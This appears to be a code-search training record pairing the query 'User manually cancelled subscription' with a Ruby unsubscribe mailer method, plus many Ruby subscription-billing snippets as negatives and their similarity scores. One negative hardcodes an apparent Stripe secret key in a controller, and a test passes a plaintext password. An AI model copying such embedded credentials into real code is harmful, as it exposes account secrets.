"def test_change_plan_with_latest_policy\n upload_catalog('Catalog-v1.xml', false, @user, @options)\n\n # basic-bimestrial has a trial period\n bp = create_basic_entitlement(1, 'BIMESTRIAL', '2013-08-01', nil, 0)\n\n # Move clock to 2013-08-31\n add_days_and_check_invoice_item(30, 2, 'basic-bimestrial', '2013-08-31', '2013-10-31', 1000.0)\n\n # Move clock to 2013-10-01\n kb_clock_add_days(31, nil, @options)\n\n # Effective date of the second catalog is 2013-10-01\n # Because of limitations of how effectiveDateForExistingSubscriptions is used, we need to upload this intermediate catalog:\n # if we were to upload v4 right away, the change plan would fail (unable to find basic-annual)\n upload_catalog('Catalog-v3.xml', false, @user, @options)\n\n # Move clock to 2013-10-31\n add_days_and_check_invoice_item(30, 3, 'basic-bimestrial', '2013-10-31', '2013-12-31', 1000.0)\n\n # Move clock to 2013-11-01\n kb_clock_add_days(1, nil, @options)\n\n # Effective date of the fourth catalog is 2013-11-01\n upload_catalog('Catalog-v4.xml', false, @user, @options)\n\n add_days(1)\n\n # Verify new CHANGE_OF_PLAN change alignment\n # Because the basic-annual has a 30 days trial, and because of the policy (CHANGE_PLAN) we invoice for a $0 trial\n # and therefore create a pro-ration credit for the part 2013-11-02 -> 2013-12-31\n change_base_entitlement(bp, 4, 'Basic', 'ANNUAL', '2013-08-01', '2013-11-02', nil, 0, -967.21)\n end",
"def swap_plan(subscription_id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/subscriptions/{subscription_id}/swap-plan',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def reactivate\n\t @subscription = Subscription.find(params[:id])\n\t (@subscription.reactivate(flash) unless @subscription.active?) if @subscription\n\n\t redirect_to plans_path\t \t\n\tend",
"def new_subscription(user_name, email, plan)\n @user_name = user_name\n @email = email\n @plan = plan\n\n mail to: \"Susie Ye <susie@baserails.com>\", subject: \"#{plan.capitalize} User: #{email}\"\n end",
"def create\n # inherit create from Devise action and extend to User\n super do |resource|\n # params[:plan] comes from hidded field in pro_form.html helper\n if params[:plan]\n resource.plan_id = params[:plan]\n if resource.plan_id == 2\n # create new function in models\n resource.save_with_subscription\n else\n resource.save\n end\n end\n end\n end",
"def edit_plan\n if instructor_signed_in? && current_instructor.merchant.present?\n @instructor = current_instructor\n\n Stripe.api_key = \"sk_test_ECd3gjeIEDsGkySmF8FQOC5i\"\n\n unless @instructor.plan_id == @instructor.id.to_s\n account = Stripe::Account.retrieve(@instructor.merchant.stripe_id)\n @plan = Stripe::Plan.retrieve(@instructor.plan_id, stripe_account: @instructor.merchant.stripe_id)\n @amount = BigDecimal(@plan.amount) / 100\n end\n elsif instructor_signed_in? && current_instructor.merchant.nil?\n redirect_to new_instructor_merchant_path(current_instructor)\n flash[:alert] = \"You need to set up a merchant account first.\"\n else\n redirect_to root_url\n end\n end",
"def create\n super do |resource| #super means inherit the 'create' action, but then extend it\n if params[:plan]\n #is there a parameter called param?\n resource.plan_id = params[:plan] #resource means user in this case. So take whatever is in the form and set this users plan to be that plan id\n if(resource.plan_id == 2) #so if the form is coming from the pro form, then don't just save the user. We also wanyt to keep the plan id. run the function that we create called save_with_subscription\n resource.save_with_subscription #write a user created function in the model. So in this case models/user.rb\n #the save is done in the model.\n else\n #otherwise just save as normal devise save\n resource.save\n end\n end\n end\n end",
"def activate\n \n # Subscription vitals\n customer_ref = params[:SubscriptionReferrer]\n plan_ref = params[:ProductPath].sub(\"/\", \"\")\n subscription_ref = params[:SubscriptionReference]\n \n # subscription info\n status = params[:SubscriptionStatus].to_s.downcase.strip\n end_date = params[:SubscriptionEndDate]\n next_period_date = params[:SubscriptionNextPeriodDate]\n status_reason = params[:SubscriptionStatusReason]\n total_price = params[:SubscriptionTotalPriceValue]\n \n user = User.find(customer_ref)\n plan = Plan.find_by_fastspring_reference(plan_ref)\n \n raise \"Received subscription activation but the subscription status is not 'active', but is rather: '#{status}'\" unless status == \"active\"\n raise \"Received subscription activation for #{user.id} but couldn't find a matching plan: #{plan_ref}\" unless plan\n raise \"Received subscription activation for #{user.id} but they already have an active subscription with reference #{user.active_subscription.reference}\" if user.subscribed?\n\n Subscription.create!(\n user: user,\n reference: subscription_ref,\n end_date: end_date,\n next_period_date: next_period_date,\n status: status,\n status_reason: status_reason,\n total_price: total_price,\n currency: params[:SubscriptionTotalPriceCurrency]\n )\n user.plan = plan\n user.save!\n\n render nothing: true, status: 200\n end",
"def create_account_and_subscribe_single_call account_name\n contact = {\n address1: '1051 E Hillsdale Blvd',\n city: 'Foster City',\n country: 'United States',\n firstName: 'John',\n lastName: 'Smith',\n zipCode: '94404',\n state: 'CA'\n }\n #get the rate plans for the product\n product_rate_plan = get_product_rate_plans_for_product 'Medium Monthly Plan'\n myDate = DateTime.now + 10.days;\n #create an account and subscribe to a rate plan at the same time\n subscribe(\n account_name,\n contact,\n DateTime.now.strftime(\"%Y-%m-%d\"),\n myDate.strftime(\"%Y-%m-%d\"),\n product_rate_plan['id']\n )\nend",
"def test_change_plan\n response=@root_key_api.change_plan(\"test-rb@precog.com\",\"password\",@account_id, \"Bronze\")\n \n response=@root_key_api.describe_plan(\"test-rb@precog.com\",\"password\",@account_id)\n assert_include response, 'type'\n assert_equal 'Bronze', response['type']\n\n response=@root_key_api.change_plan(\"test-rb@precog.com\",\"password\",@account_id, \"Free\")\n end",
"def perform\n @previousMonth = (Date.today - 1.months).strftime(\"%Y-%m\")\n\n \t# Only exec with subscription status is active\n # Subscription subscription_type == 1 is free trial\n # If user upgrade subscription, and then subscription_type update to 2 is invidual account\n # Update subscription_type == 2 on production, because in test we manual modify account\n\t\tSubscription.where(status: 1).each do |subscription|\n\n\t\t\t# Find user\n\t\t\t@user = User.find(subscription.user_id)\n\n # Get bandwidth & storage usage on previous month\n if @user.bandwidths.present? && @user.bandwidths.find_by(monthly: @previousMonth).present?\n bwdUsage = @user.bandwidths.find_by(monthly: @previousMonth).bandwidth_usage * 1000.00\n else\n bwdUsage = 0\n end\n\n if @user.storages.present? && @user.storages.find_by(monthly: @previousMonth).present?\n stgUsage = @user.storages.find_by(monthly: @previousMonth).storage_usage * 1000.00\n else\n stgUsage = 0\n end\n\n # Calculator usage pricing\n @totalPrice = (@user.subscription.stg_price * (stgUsage / 1000000000.00)) + (@user.subscription.bwd_price * (bwdUsage / 1000000000.00))\n\n @description = \"Delivery Appliance running in global: #{ApplicationController::FormatNumber.new(bwdUsage).formatHumanSize()}, and File Appliance in global: #{ApplicationController::FormatNumber.new(stgUsage).formatHumanSize()} (Source:#{Package.find(@user.subscription.package).name} [#{@user.subscription.name}])\"\n\t\t\t\n if @totalPrice != 0\n # Effect only with subscription type automatic payment by credit card\n if @user.subscription.payment_type == 2 && @user.credit.card_token.present?\n charge = Stripe::Charge.create(\n :amount => @totalPrice.to_i,\n :currency => \"vnd\",\n :customer => @user.credit.stripe_token,\n :source => @user.credit.card_token,\n :description => @description\n )\n\n # Defind charge succeeded response from Stripe\n if charge[\"status\"] == \"succeeded\"\n\n # Create transaction succeeded\n @user.credit.transactions.create(\n description: @description,\n transaction_type: 'Automatic Payment',\n stripe_id: charge[\"id\"],\n amount: @totalPrice.to_i,\n card_id: @user.credit.card_token,\n card_name: @user.credit.card_name,\n card_number: @user.credit.last4,\n card_brand: @user.credit.card_brand,\n status: 'succeeded',\n monthly: @previousMonth\n )\n end\n end\n\n # Effect only with subscription type automatic payment by deposit\n if @user.subscription.payment_type == 2 && @user.credit.card_token.nil?\n\n # Check credit\n if @user.credit.credit_value != 0 && @user.credit.credit_value > @totalPrice\n\n # Update credit balance\n @user.credit.decrement! :credit_value, @totalPrice\n\n # Create transaction of this month\n @user.credit.transactions.create(\n description: @description,\n transaction_type: 'Automatic Payment',\n amount: @totalPrice,\n status: 'succeeded',\n monthly: @previousMonth\n )\n else\n # Create transaction of this month\n @user.credit.transactions.create(\n description: @description,\n transaction_error: 'Deposit balance not enough for this payment. Please check your credit again',\n transaction_type: 'Automatic Payment',\n amount: @totalPrice,\n status: 'failed',\n monthly: @previousMonth\n )\n\n # Suspend subscription if payment failed\n @user.subscription.update(status: 2)\n end\n end\n\n # Effect only with subscription type manual payment\n if @user.subscription.payment_type == 3\n # Create invoice in previous month, default status is unpaid\n @user.credit.invoices.create(\n description: @description,\n invoice_type: 'Check Out',\n amount: @totalPrice,\n status: 'unpaid',\n monthly: @previousMonth\n )\n end\n end\n\t\tend\n\n # Rescue error and create transaction failed with message\n rescue Stripe::CardError => e\n\n # Create transaction failed\n @user.credit.transactions.create(\n description: @description,\n transaction_error: e.message,\n transaction_type: 'Automatic Payment',\n amount: @totalPrice.to_i,\n card_id: @user.credit.card_token,\n card_name: @user.credit.card_name,\n card_number: @user.credit.last4,\n card_brand: @user.credit.card_brand,\n status: 'failed',\n monthly: @previousMonth\n )\n\n # Suspend subscription if payment failed\n @user.subscription.update(status: 2)\n end",
"def set_plan\n case params[:id]\n when \"course\"\n else \n @plan = Plan.find(params[:id])\n end\n end",
"def update \n puts \"-----------------------------------------------------------------------------------------\"\n puts \"Would you like to change you subscription payments from monthly to annual, or vice versa?\"\n puts \"-----------------------------------------------------------------------------------------\"\n ans = gets.chomp \n up_sub = Subscription.find(@new_customer.id) \n if ans == \"Yes\" && up_sub.annual == false \n up_sub.update(annual: true)\n else ans == \"Yes\" && up_sub.annual == true \n up_sub.update(annual: false)\n end \n puts \"----------------------------------------\"\n puts \"Your subscription has been been updated!\" \n puts \"----------------------------------------\"\n end",
"def set_premium_subscription\n @premium_subscription = PremiumSubscription.find(params[:id])\n end",
"def activate_free_trial(plan_id)\n result = Spreedly.post(\"/subscribers/#{id}/subscribe_to_free_trial.xml\", :body => \n Spreedly.to_xml_params(:subscription_plan => {:id => plan_id}))\n case result.code.to_s\n when /2../\n when '404'\n raise \"Could not active free trial for subscriber: subscriber or subscription plan no longer exists.\"\n when '422'\n raise \"Could not activate free trial for subscriber: validation failed. missing subscription plan id\"\n when '403'\n raise \"Could not activate free trial for subscriber: subscription plan either 1) isn't a free trial, 2) the subscriber is not eligible for a free trial, or 3) the subscription plan is not enabled.\"\n else\n raise \"Could not activate free trial for subscriber: result code #{result.code}.\"\n end\n end",
"def change_plan(vid, plan)\n perform_request(action: 'vserver-change', vserverid: vid, plan: plan)\n end",
"def set_billing_plan\n @billing_plan = BillingPlan.find(params[:id])\n end",
"def new\n @subscription = Subscription.new\n\n # Check to see if the logged in user has a subscription already\n @subplan = Subscription.where(user_id: current_user.id).first\n\n if @subplan.present?\n # Subscription plan is active\n redirect_to subscription_url(@subplan)\n\n elsif current_user.account.present?\n # We have an account for signing up a subscription\n\n @subscription.subscribe(current_user.account, params[:plan_id], coupon: params[:coupon_code])\n else\n # No account and no subscription plan - Redirect to update\n # user account with notice to add credit card.\n redirect_to new_user_account_url(current_user.id)\n end\n end",
"def subscribe\n # Find the user to pay.\n user = User.find( params[:id] )\n\n # Calculate the fee percentage that applies to\n # all invoices for this subscription.\n fee_percent = (Rails.application.secrets.fee_percentage * 100).to_i\n begin\n if user.stripe_customer_id\n customer = Stripe::Customer.retrieve(user.stripe_customer_id)\n customer.coupon = 'ahip200off'\n customer.save\n\n customer.subscriptions.create({:plan => params[:plan]})\n #customer.application_fee_percent = fee_percent\n # customer.save\n else\n # Create a customer and subscribe them to a plan\n # in one shot.\n # Normally after this you would store customer.id\n # in your database so that you can keep track of\n # the subscription status/etc. Here we're just\n # fire-and-forgetting it.\n customer = Stripe::Customer.create(\n {\n card: params[:token],\n email: current_user.email,\n plan: params[:plan],\n application_fee_percent: fee_percent,\n metadata: {name: user.name},\n # coupon: 'ahip200off',\n },\n user.secret_key\n )\n user.stripe_customer_id = customer.id\n user.save!\n\n end\n flash[:notice] = \"Subscribed! <a target='_blank' rel='app-owner' href='https://dashboard.stripe.com/test/customers/#{customer.id}'>View in dashboard »</a>\"\n\n rescue Stripe::CardError => e\n error = e.json_body[:error][:message]\n flash[:error] = \"Charge failed! #{error}\"\n end\n\n redirect_to user_path( user )\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def create\n current_subscriber.update_company_subscription_by_token(params[:recurly_token])\n\n # TODO hide advisor plan when the company is advised\n if current_subscriber.subscription.plan_code == 'advisor_annual'\n current_company.upgrade_to_advisor!\n end\n\n flash[:notice] = 'Subscription was successfully created!'\n redirect_to app_url(subdomain: current_company.subdomain)\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_membership\n @membership = Membership.find(params[:id])\n @plan = Plan.find_by_name('Premium')\n end",
"def update\n @user = current_user\n @order = Order.find(params[:id])\n @price_plan = Country.get_price_plan_by_country_and_id(current_user.account.country_short, @order.price_plan_id)\n\n if @order.save\n if @order.purchase\n\n @order.update_attributes(kind: 'paypal', state: 'success', completed_at: Time.now.utc)\n @price_plan.mark_promotion_code_for_usage(@order)\n subscription = @user.account.add_subscription(@price_plan, @order)\n subscription.activate\n @user.account.finish_registration()\n\n redirect_to( action: 'success', id: @order )\n else\n redirect_to( action: 'failure', id: @order )\n end\n else\n render action: 'edit'\n end\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def edit\n\tif !current_user.valid_password?(params[:password])\n\t\tredirect_to pages_products_path, :flash => { :notice => \"password incorrect\" }\n\t\treturn\n\telse\n\t\t@plan=Plan.find(params[:plan_id])\n\t\tif !@plan.present?\n\t\t\tredirect_to new_buy_plan_path, :flash => { :error => \"plan not found\" }\n\t\t\treturn\n\t\tend\n\n \t\tcustomer=Stripe::Customer.retrieve(current_user.stripe_id)\n\t\tsubscription = customer.subscriptions.create(:plan => @plan.stripe_id )\n\n\t\t@plan=BuyPlan.new(:plan_id => params[:plan_id], :user_id => current_user.id, :status=>1)\n\t\t@plan.save\n\t\tredirect_to pages_page0_path, :flash => { :notice => \"purchase completed\" }\n\tend\n\n\trescue Stripe::CardError => e\n\t\tflash[:error] = e.message\n\t\tredirect_to new_buy_plan_path\n end",
"def purchase(plan)\n # the purchased plan is going to expire depending on the plan specifications\n # so for example:\n # DateTime.now => Thu, 12 Mar 2015 21:17:33 -0500\n # plan => {\n # :currency => \"COP\",\n # :deleted_at => nil,\n # :description => \"15% de ahorro\",\n # :expired_rate => 1,\n # :expired_time => \"month\",\n # :name => \"Hurry Up!\",\n # :num_of_discounts => 15,\n # :price => 127500,\n # :status => true\n # }\n # the purchased_plan.expired_date = Thu, 12 Apr 2015 21:17:33 -0500\n # 1 month after today\n ClientsPlan.new(\n plan_id: plan.id,\n client_id: id, # self.id\n expired_date: Time.zone.now + plan.expired_rate.send(plan.expired_time),\n num_of_discounts_left: plan.num_of_discounts\n ).tap do |clients_plan|\n yield clients_plan if block_given?\n clients_plan.save\n end\n end",
"def plans=(value)\n @plans = value\n end",
"def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end",
"def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end",
"def set_plan\n\t\t@plan = Plan.find(params[:id])\n\tend",
"def select_plan\n unless (params[:plan] == '1' || params[:plan] == '2')\n flash[:notice] = \"Please select a membership plan to sign up.\"\n redirect_to root_url\n end\n end",
"def sync\n begin\n @external_plans = Shoppe::ApiHandler.get_subscription_plans\n @external_plans.data.each do |external_plan|\n shoppe_plan = Shoppe::SubscriptionPlan.find_or_create_by(api_plan_id: external_plan.id)\n shoppe_plan.amount = Shoppe::ApiHandler.native_amount(external_plan.amount)\n shoppe_plan.currency = external_plan.currency\n shoppe_plan.interval = external_plan.interval\n shoppe_plan.interval_count = external_plan.interval_count\n shoppe_plan.name = external_plan.name\n shoppe_plan.trial_period_days = external_plan.trial_period_days || 0\n shoppe_plan.save\n end\n\n rescue ::Stripe::InvalidRequestError\n flash[:warning] = t('shoppe.subscription_plans.api_responses.plan_sync_failed')\n end\n redirect_to subscription_plans_url, notice: t('shoppe.subscription_plans.api_responses.sync_complete')\n end",
"def check_active_user\n if !current_user.active?\n current_user.plan = nil\n end\n end",
"def set_plan\r\n @plan = Plan.find(params[:id])\r\n end",
"def success\n if params[:reference].present?\n\n paystackObj = Paystack.new(ENV['PAYSTACK_PUBLIC_KEY'], ENV['PAYSTACK_PRIVATE_KEY'])\n\n subscriptions = PaystackSubscriptions.new(paystackObj)\n result = subscriptions.create(\n\n :customer => current_user.email,\n :plan => \"PLN_96ws6ovviw8028d\", #plan id\n :amount => 200000 #in KOBO\n\n \n )\n\n\n u = current_user\n u.subscribed = true\n u.subscription_code = code\n u.email_token = token\n u.save!\n \n else\n redirect_to new_subscription_path, notice: \"Error Making Payment, Try Again\"\n\n end\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def create_plan(plan)\n PsegRecurring::Plan.new(@credentials).send_plan(plan)\n end",
"def set_plan\n puts '==================================='\n puts params \n puts '==================================='\n @plan = Plan.find(params[:id])\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"def show\n account_code = params[:account_code]\n plan_code = params[:plan]\n user = User.find_by_email(account_code)\n @subscription = Subscription.create(account_code: account_code, plan_code: plan_code, user_id: user.id)\n end",
"def new_plan\n plan.clear\n plan\n end"
] |
[
"0.76041776",
"0.74669385",
"0.7356115",
"0.724314",
"0.7236856",
"0.7213327",
"0.7182503",
"0.71035385",
"0.7092069",
"0.70577043",
"0.7033335",
"0.7026194",
"0.7015139",
"0.69181544",
"0.6916298",
"0.68789554",
"0.68789554",
"0.6859864",
"0.68326795",
"0.67719877",
"0.67303985",
"0.6652626",
"0.66443163",
"0.66304964",
"0.6613541",
"0.657583",
"0.657583",
"0.65754473",
"0.6550575",
"0.65462315",
"0.65424764",
"0.6531123",
"0.6520899",
"0.6513238",
"0.64991564",
"0.64850265",
"0.6468098",
"0.6449987",
"0.6442573",
"0.64309865",
"0.64277655",
"0.64226544",
"0.6408714",
"0.6397685",
"0.639554",
"0.63893735",
"0.6380398",
"0.63789856",
"0.63391536",
"0.63301855",
"0.6323427",
"0.6322286",
"0.6297054",
"0.62888277",
"0.62830675",
"0.6271439",
"0.62618756",
"0.6255038",
"0.6242098",
"0.6222863",
"0.6215563",
"0.62115437",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208988",
"0.6208504",
"0.6208418",
"0.6208375",
"0.62021726",
"0.61980325",
"0.61906326",
"0.6187398",
"0.61817575",
"0.6178723",
"0.6178723",
"0.6170353",
"0.61695164",
"0.61665946",
"0.6164207",
"0.6161501",
"0.6150727",
"0.6143235",
"0.6143235",
"0.6143235",
"0.6142135",
"0.61409813",
"0.6133672",
"0.6119823",
"0.61055833"
] |
0.7589928
|
1
|
User manually cancelled subscription
|
def unsubscribe(user_name, email, plan)
@user_name = user_name
@plan = plan
@email = email
mail to: "Susie Ye <susie@baserails.com>", subject: "#{user_name} unsubscribed from the #{plan} plan"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cancel!\n self.type = :unsubscribed\n reply_if_needed!\n end",
"def cancel\n success = current_subscriber.cancel_subscription\n render json: { success: success }\n end",
"def cancel \n unless self.status == 'canceled'\n ev = Event.create(\n :event_type => :subscription,\n :event_subtype => :cancel,\n :user => self.user,\n :detail_i1 => self.id\n ) \n \n Rails::logger.debug \"Calling chargify to cancel subscription ID #{self.chargify_id}\" \n Sherlock::Chargify.new.cancel(self.chargify_id) \n \n Rails::logger.debug \"Adjusting my own status to 'canceled'\" \n \n self.status = 'canceled'\n self.save\n \n ev.finish\n \n InfusionsoftUtils.update_contact(self)\n end\n \n end",
"def submit_cancel\n get_subscription\n is_cancelled = @my_subscription.cancel_or_pause_subscription(\"canceled\") #unless @my_subscription.is_under_process?\n flash[:sub_cancelled] = \"Subscription has been canceled Successfully.\" if is_cancelled\n redirect_to main_app.profile_users_path and return\n end",
"def cancel_reason\n @subscription_purchase.cancel_reason\n end",
"def cancel_subscription\n case stripe_customer.subscription.status\n when 'active'\n stripe_customer.cancel_subscription(at_period_end: true)\n when 'trialing'\n stripe_customer.cancel_subscription(at_period_end: false)\n end \n rescue Stripe::StripeError => e\n log_stripe_error(e, \"Unable to cancel your subscription. #{e.message}.\") \n end",
"def cancel\n @user = current_user\n sub = @user.subscription\n subscription = Stripe::Subscription.retrieve(sub)\n subscription.delete\n @user.subscribed = false\n @user.subscription = nil\n if @user.save\n render :ok, json: { message: [\"Subscription will be canceled at the end of the billing period\"] }\n else\n render json: { message: [\"Stripe Customer couldn't be saved.\"] }, status: :unprocessable_entity\n end\n end",
"def cancelled!\n @cancelled = true\n end",
"def destroy\n subscriber = current_user.subscriber\n\n if subscriber.stop_auto_renew\n current_user.status = :cancelled\n current_user.save!\n redirect_to action: \"cancel_confirmation\"\n else\n @errors = subscriber.errors\n end\n end",
"def cancel\n end",
"def cancel\n end",
"def cancel!\n if charged && !canceled\n refund!\n recharge!\n end\n end",
"def cancel\n @error = :cancelled\n end",
"def cancelled?; end",
"def unsubscribed\n end",
"def unsubscribed\n end",
"def cancel!; end",
"def subscription_cancelled(user_id, cancel_reason:, products:, subscription_cancel_request_date:, subscription_id:, subscription_mrr:, subscription_value:)\n track(user_id, SubscriptionCancelled.new(\n cancel_reason: cancel_reason,\n products: products,\n subscription_cancel_request_date: subscription_cancel_request_date,\n subscription_id: subscription_id,\n subscription_mrr: subscription_mrr,\n subscription_value: subscription_value \n ))\n end",
"def cancel!\n state_guard { modify_call 'Status' => 'cancelled' }\n end",
"def cancel_now\n as_stripe_subscription.cancel({\n prorate: proration_behavior == 'create_prorations',\n })\n\n mark_as_cancelled\n\n self\n end",
"def subject_cancel\n self.cancel_button.click\n end",
"def cancel!\n update(request_cancelled: true)\n end",
"def cancel(**options)\n if pay_subscription.on_trial?\n pay_subscription.update(ends_at: pay_subscription.trial_ends_at)\n else\n pay_subscription.update(ends_at: Time.current.end_of_month)\n end\n end",
"def cancel; end",
"def cancel; end",
"def cancel\n @confirmation_header = \"confirm cancellation\"\n @confirmation_body = \"Are you Sure to cancel this subscription?\"\n @cancel = \"No, Thank you\"\n @submit = \"Confirm cancellation\"\n end",
"def cancel\n super\n end",
"def unsubscribed # :doc:\n # Override in subclasses\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel(*)\n super.tap do\n __debug_sim('USER has decided to withdraw the submission.')\n end\n end",
"def cancel\n # Define this later\n end",
"def unsubscribed; end",
"def cancel\r\n # @todo Emit a warning for attempts to cancel an action after it's been\r\n # executed\r\n @cancelled = true\r\n end",
"def unsubscribed\n\tend",
"def cancel\n # TODO: That thing I'm claiming to do in the comments\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def cancel\n super\n end",
"def destroy\n @subscription = Subscription.find(params[:id])\n\n @subscription.status = 'canceled'\n\n redirect_to subscriptions_path, notice: \"Your #{@subscription.category.name} subscription has been canceled.\"\n @subscription.save\n end",
"def cancel()\n if current_user.state == 'requesting'\n current_user.change_state('online')\n else\n # Notify student that he is not in requesting state\n msg = I18n.t('students.errors.appointment.cancel')\n MessageBroadcastJob.perform_later(msg, 'error',\n student_id: current_user.id)\n end\n end",
"def cancel\n self.update_status :cancelled\n end",
"def cancel\n super\nend",
"def cancel\n @client.call('unrecur', @jid)\n end",
"def unsubscribe; end",
"def sub_cancel\n (@shift = find_params_id(Shift)) || return\n #only user can cancel his own sub request or admin can cancel anybody's sub request\n if request.delete? and (from_admin? or (@shift.user == get_user))\n #somehow @shift.sub.destroy shortcut does not work properly\n s = @shift.sub\n s.destroy\n @shift.save\n redirect_with_flash \"Sub request cancelled.\", :action => :index, :date => @shift.shift_date, :anchor => @shift.shift_date\n else\n redirect_with_flash 'Illegal URL call'\n end\n end",
"def cancel(id); end",
"def unsubscribe\n end",
"def successful_unsubscribe\n end",
"def unsubscribe()\n end",
"def cancel_subscription(magazine)\n self.subscriptions.find {|subscription| subscription.magazine === magazine}.delete\n end",
"def unsubscribe()\n \n end",
"def unsubscribed\n puts \"#{current_user.displayname} left!\"\n end",
"def unsubscribe!\n @consumer.try(:cancel)\n @consumer = nil\n end",
"def cancel\n @service.context.post(@control_path, :action => 'cancel')\n self\n end",
"def cancel()\n @callback = nil\n @cancelled = true\n end",
"def cancel!\n\t\t\t\t# The simplest way to keep track of cancelled status is to nullify the\n\t\t\t\t# callback. This should also be optimal for garbage collection.\n\t\t\t\t@callback = nil\n\t\t\tend",
"def cancel()\n require_relative 'message'\n Message.new(@api, @api.do_request(\"POST\", get_base_api_path() + \"/cancel\"))\n end",
"def cancel()\n require_relative 'message'\n Message.new(@api, @api.do_request(\"POST\", get_base_api_path() + \"/cancel\"))\n end",
"def cancel\n self.class.cancel(self)\n end",
"def cancel_account\n @account.active = 0\n @account.endtime = Time.now\n @account.save\n \n redirect_to :controller => 'subs' and return false\n end",
"def cancel\n\n unschedule_timeout(nil)\n\n cancel_participant\n\n trigger_on_cancel # if any\n\n @applied_workitem\n end",
"def cancel\n flash[:notice] = \"Canceling accounts is not enabled.\"\n redirect_to root_path\n end",
"def cancel!\n # The simplest way to keep track of cancelled status is to nullify the\n # callback. This should also be optimal for garbage collection.\n @callback = nil\n end",
"def cancel!\n @callback = nil\n end",
"def unsubscribe\n\t@sub = Subscription.find_by_id(params[:c][:sub_id])\n\t@sub.update_attributes(:explanation => params[:c][:explanation], :active => false, :canceled_at => Time.now)\n\t#current_user.update_attributes(:customer => false) #taken out now because a user might remain a customer if he has purchased pages\n\t@cust = Stripe::Customer.retrieve(current_user.customer_id)\n\t@cust.cancel_subscription\n\tredirect_to current_user, notice: \"Thank you for trying our service!\"\nend",
"def cancel\n subscription = as_stripe_subscription\n\n subscription.cancel_at_period_end = true\n\n subscription = subscription.save\n\n self.stripe_status = subscription.status\n\n # If the user was on trial, we will set the grace period to end when the trial\n # would have ended. Otherwise, we'll retrieve the end of the billing period\n # period and make that the end of the grace period for this current user.\n self.ends_at = on_trial ? trial_ends_at : Time.zone.at(subscription.current_period_end)\n\n save\n\n self\n end",
"def cancel_now_and_invoice\n as_stripe_subscription.cancel({\n invoice_now: true,\n prorate: proration_behavior == 'create_prorations',\n })\n\n mark_as_cancelled\n\n self\n end",
"def cancel_cli\n generic_step(\"cancel\")\n end",
"def cancelled?\n false\n end",
"def cancelled_requests; end",
"def cancel!\n self.service.deleteObject()\n end",
"def cancel!\n self.service.deleteObject()\n end",
"def destroy\n # First cancel the Stripe subscription\n\n @subscription.cancel_subscription(current_user.account)\n # Then destroy the subscription record\n @subscription.delete\n\n redirect_to subscriptions_url\n end",
"def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end",
"def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end",
"def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end",
"def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end",
"def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end",
"def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end",
"def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end",
"def cancel\n @candidate.cancel_registeration(@event)\n redirect_to(root_path , :notice => 'Your Registration has been Cancelled successfully!')\n end",
"def cancel\r\n expire_data_after_sign_in!\r\n redirect_to new_registration_path(resource_name)\r\n end",
"def cancel\nbounce_free_account\n\n@subs = current_user.subscriptions \n\n# users first (oldest) subscription, for displaying free trial information\n\t@firstsub = @subs.first\n\t@firstsub_end = @firstsub.created_at + 14.days\n\n\tif @subs && !@subs.active.blank?\n\t@s = @subs.active.first\n\t\n\t#@c = Stripe::Customer.retrieve(@s.customer_id)\n\telse #this should not happen - be careful to make sure every customer has a subscription; or at least if they have a \n\t\t# cancel subsciption link, there is an active subscription to be canceled. \n\tredirect_to current_user, notice: 'You have no active subscriptions.'\n\tend \nend",
